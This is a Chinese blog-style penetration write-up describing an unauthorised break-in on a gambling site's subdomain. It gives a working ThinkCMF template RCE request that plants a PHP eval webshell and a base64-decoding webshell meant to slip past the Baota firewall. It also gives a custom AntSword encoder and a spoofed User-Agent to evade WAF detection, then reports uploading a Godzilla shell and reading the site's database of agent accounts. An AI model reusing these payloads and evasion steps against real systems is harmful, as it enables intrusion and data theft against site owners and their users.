实战|记一次绕过宝塔防火墙的BC站渗透
0x00 信息收集
由于主站存在云waf 一測就封 且初步測試不存在能用得上的洞 所以轉戰分站 希望能通過分站獲得有價值的信息
這是一個查詢代理帳號的站 url輸入admin 自動跳轉至后臺
看這個參數,猜測可能是thinkCMF
0x01 getshell
thinkcmf正好有一個RCE 可以嘗試一下
?a=fetch&templateFile=public/index&prefix='' &content=<php>file_put_contents('test1.php','<?php @eval($_POST[zero])?>')</php>白屏是個好兆頭 應該是成功了
訪問一下
嘗試蟻劍連接 直接報錯 猜測可能遇到防火墻了
然后再回來看一下shell 手動嘗試一個phpinfo
果然存在寶塔防火墻
0x02 繞過寶塔防火墻
寶塔應該對部分函數進行了過濾,所以直接傳遞payload肯定是不行的,所以我們需要對流量進行混淆加密。
嘗試對所有的payload Base64編碼傳輸。
既然傳過去的是編碼后的Base64,小馬也應該相應地做出改變,只需解密一次傳遞過來的base64即可。
小馬如下:
<?php @eval(base64_decode($_POST[zero]));?>將phpinfo();base64編碼為cGhwaW5mbygpOw==
發送
可見 寶塔防火墻沒再攔截 已經成功繞過寶塔防火墻
0x03 改造蟻劍
我們用到的是Base64編碼,但是蟻劍其實是自帶Base64編碼解碼器的 。
嘗試直接使用自帶的Base64編碼器
為什么會這樣呢?
我們嘗試從蟻劍的流量分析
設置代理到burp
攔截流量
我們可以看到 明顯有兩個地方容易被waf識別
一是: User-Agent頭的關鍵字: antSword/v2.1 這相當于告訴waf我是誰了,所以這是第一個要更改的點;
二是: 蟻劍的流量其實還是有關鍵字的,比如cmd參數后的eval base64_decode都是,而且我們的小馬自帶Base64解密,所以用它的默認編輯器不僅過不去waf,即使沒waf也不能正常連接我們的小馬,所以需要自己定義編碼器。
新建PHP編碼器
由于我們只需要將payloadBase64編碼一次即可,所以直接將data['_']Base64處理賦值即可,隨機參數有沒有無所謂的。
編碼器如下:
'user strict'; /** @param {String} pwd 連接密碼* @param {Array} data 編碼器處理前的payload數組* @return {Array} data 編碼器處理后的payload數組 */ module.exports = (pwd, data, ext={}) => {data[pwd] = Buffer.from(data['_']).toString('base64');delete data['_'];return data; }然后修改UA頭:
應用我們的編碼器,解碼器不需要指定,默認即可
建議選擇,再增加垃圾數據和Multipart發包。
再次測試連接
然后點擊目錄,發現依然存在問題,不能跨目錄,這個問題其實哥斯拉可以解決,上傳哥斯拉馬。
這里可能有人會問了,那你直接上傳哥斯拉馬不就行了嗎,實際情況是 get傳參有長度限制 而且有的符號會導致截斷php文件無法上傳完整。
網站有挺多 但是很可惜沒有主站 數據庫里只有一堆代理帳號 浪費時間了
總結
以上是生活随笔為你收集整理的实战|记一次绕过宝塔防火墙的BC站渗透的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 蓝队溯源与反制
- 下一篇: 企业参加HVV的防守思路总结